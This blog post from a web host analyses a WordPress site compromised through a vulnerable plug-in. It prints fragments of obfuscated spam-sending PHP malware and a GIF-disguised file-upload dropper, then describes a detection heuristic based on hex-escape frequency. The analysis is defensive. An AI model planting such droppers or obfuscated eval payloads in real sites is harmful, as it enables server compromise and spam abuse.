Byte encoding exploits in PHP files

byte encoding exploits in php files

Despite better coding practices, testing and peer review of code, the number of exploit attempts and the technical complexity of attacks continues to increase against web sites. With the rise in exploit attempts comes a rise in the requirements of malware and anti-virus scanners on the web server to detect and isolate the infected files.

Malware detection has been a serious business for decades and does not look like ending any time soon so IT professionals are constantly kept busy trying to detect and remove exploit attempts.

Recently one of the WordPress web sites we host was exploited via a vulnerable plug-in. The exploit was designed to constantly send SPAM emails, so it attached back to a server and then received a list of email address to send specially formatted SPAM messages. The initial scan of the code base did not pick up the Malware as the PHP code was encoded in a previously unseen encoding method but a visual look at the file showed it used an excessive number of byte-escaped characters.

Many scanners are looking for base64 encoding, this file snippet below shows what a typical base64 encoded PHP file might contain:

<?php eval(gzuncompress(base64_decode
('eNpku+eyxEySnncrjNFGcEaYIUzDajVUwHvvISom4LrhvSd178K3RhSpH0DDFMpkZWW+Dw5O/
f1zva7l9ud/+ofIe//nf6yHad/+4//1l7/8139K4b//Sai7P/3zP+Xv0f9S/HGA/P1PX+xP/
1x///yhSOR/77d/LolQ/Bkj0b9+PtTnL39JlyW9/7GUR7ms5Z/fJ//yPjV24/
L39/g//Ke3hn/+M4LAxN/+2AEwhH7+9sfuL//HttT9H+X/+k9Fjvzlf/v3mmEMR/
/6R9m3nmz9+5/KVX/7cZ7l+lvqddz36rr+jkLI55//qUj//qd0+NM/n1XdlX/
+wPjf3u0v656t2/L2aOrS/O3RW/tf35reZtK3yqL8pnu3/SPNt3oc/
v6O+e1jtr67Iv23ihCURP/2x+4v01L+/rFOXf1a6394el/Lf6RNev19W/byn/
+MkjD0tz927/hg8m9/7P7yf+T70v3jNfQ4va39YaQ//6td/vq2+d+Hi+IE8tc/
Hv2j9vzvfwrroRjP9W9/+uc/Ezj8t3cDPjBF/O2P3b/V2b89qP9RD9

The byte encoded file however looks something like this:

<?php ${"x47x4cOx42Ax4cx53"}["cgwx71x77x77x64x79q"]="x69p";
${"x47Lx4fx42Ax4cS"}["x66x75x72x71x6box6cx76tx6cx67"]="fx75nx63";
${"x47Lx4fx42x41x4cx53"}["x72x65x6ex61x71g"]="x68";
?${"x47x4cOBx41x4cx53"}["x64x68x71x77x64x72ggx69x65x76"]
="x68ex61x64ex72x73";
...
...
${$oufqnojxji}=$_SERVER["REMOx54x45_x41Dx44R"];}if(strpos(${${"x47x4cx4fx42
x41x4cx53"}["x63gx77qwx77x64x79x71"]},",")!==FALSE){$ipidsrhwxtb="x69x70"
;$xsnigv?="x69px73";${"x47x4cx4fBAx4cS"}["x76x6fxx78x73x62x62x65x62
x63"]="ix70x73";${${"x47x4cx4fx42ALx53"}["vx6fxxx73x62bex62x63"]}
=explode(",",${${"x47x4cx4fBx41x4cx53"}["x63x67wx71wwx64x79x71"]});
${$ipidsrhwxtb}=trim(array_pop(${$xsnigv}));}return${${"x47x4cOx42x41x4cx53"}
["x63x67x77qx77wx64x79x71"]};}


Dissecting the first few lines of the code we can see traces of PHP command strings but randomly dispersed:

<?php
${"x47x4cOx42Ax4cx53"}["cgwx71x77x77x64x79q"]="x69p";
${"x47Lx4fx42Ax4cS"}["x66x75x72x71x6box6cx76tx6cx67"]="fx75nx63";
${"x47Lx4fx42x41x4cx53"}["x72x65x6ex61x71g"]="x68";

After some simple character conversions (x41=A, x42=B etc) we get:

<?php
${"GLOBALS"}["cgwx71x77x77x64x79q"]="x69p";
${"GLOBALS"}["x66x75x72x71x6box6cx76tx6cx67"]="fx75nx63";
${"GLOBALS"}["x72x65x6ex61x71g"]="x68";
${"GLOBALS"}["x64x68x71x77x64x72ggx69x65x76"]="x68ex61x64ex72x73";
${"GLOBALS"}["dx77x76x74ex69r"]="x72x65x73";

Dissecting the lower case characters strings reveals:

<?php
${"GLOBALS"}["cgwqwwdyq"]="i";
${"GLOBALS"}["furqkolvtlg"]="func";
${"GLOBALS"}["reneaqg"]="h";
${"GLOBALS"}["dhqwdrggiev"]="headers";
${"GLOBALS"}["dwvteir"]="res";

Clearly we can see how the code is manipulated into random variable names but the keywords themselves are also manipulated with some parts byte encoded and other characters left un-encoded so that pattern matching is difficult at best.

There is however a simple solution, the mere fact that is has used a byte encoding method is not normal practice, you will be hard pressed to find this style of programming in any normal program with the exception of encryption code which uses a lot of hex encoded tables. So the frequency of xNN character strings is far above normal.

A word count of each file results in an interesting “xNN” % calculation, using the first infected file, we get the following:

#cat suspect-file.php| wc -c
24348

Counting up the x's we get:

#cat suspect-file.php| tr -dc '\x'| wc -c
7568
#cat suspect-file.php| tr -dc '\x'| tr -dc 'x' | wc -c
3803

Converting that to a percentage gives (3803/24348)*100 = 15.62% rounded

At 15% the presence of xNN values is far to high for a normal PHP program (excluding encryption code files), a quick check of PHP files on the web server yields an average of less than 2% of byte encoded data per file, most files having below 1% and cache small files where found to have as high as 5% due to the additional encoded data the cache app was using, so we can exclude these.

Detecting this type of exploit attempt is now a simple matter of determining the percentage of encoded bytes per normal program code and flagging the file for more exploration later.

A simple script to scan all changed files in the web server document root and then run it to check for files changed in the last 7 days should provide an adequate method till the next round of exploits develop.

 

How did the exploit get there?

A check of the /tmp directory by the Malware scanner found this file:

# cat /tmp/phpt2oYQG
?GIF89a u
<?php @copy($_FILES[file][tmp_name], $_FILES[file][name]); exit; ?>
#

A simple upload of a bogus “GIF” file with PHP code inside is the first step, if the attacker can activate the code then they can activate the uploaded exploit and they are in business.

Multiple scanning attempts will pickup both exploits and attempted exploits, we schedule these to occur on all servers everyday, this allows us to tighten our system security on a daily basis.

Back to the Blog

avatar of sid young

Sid Young

  • Conetix
  • Conetix

Let's Get Started

  • This field is for validation purposes and should be left unchanged.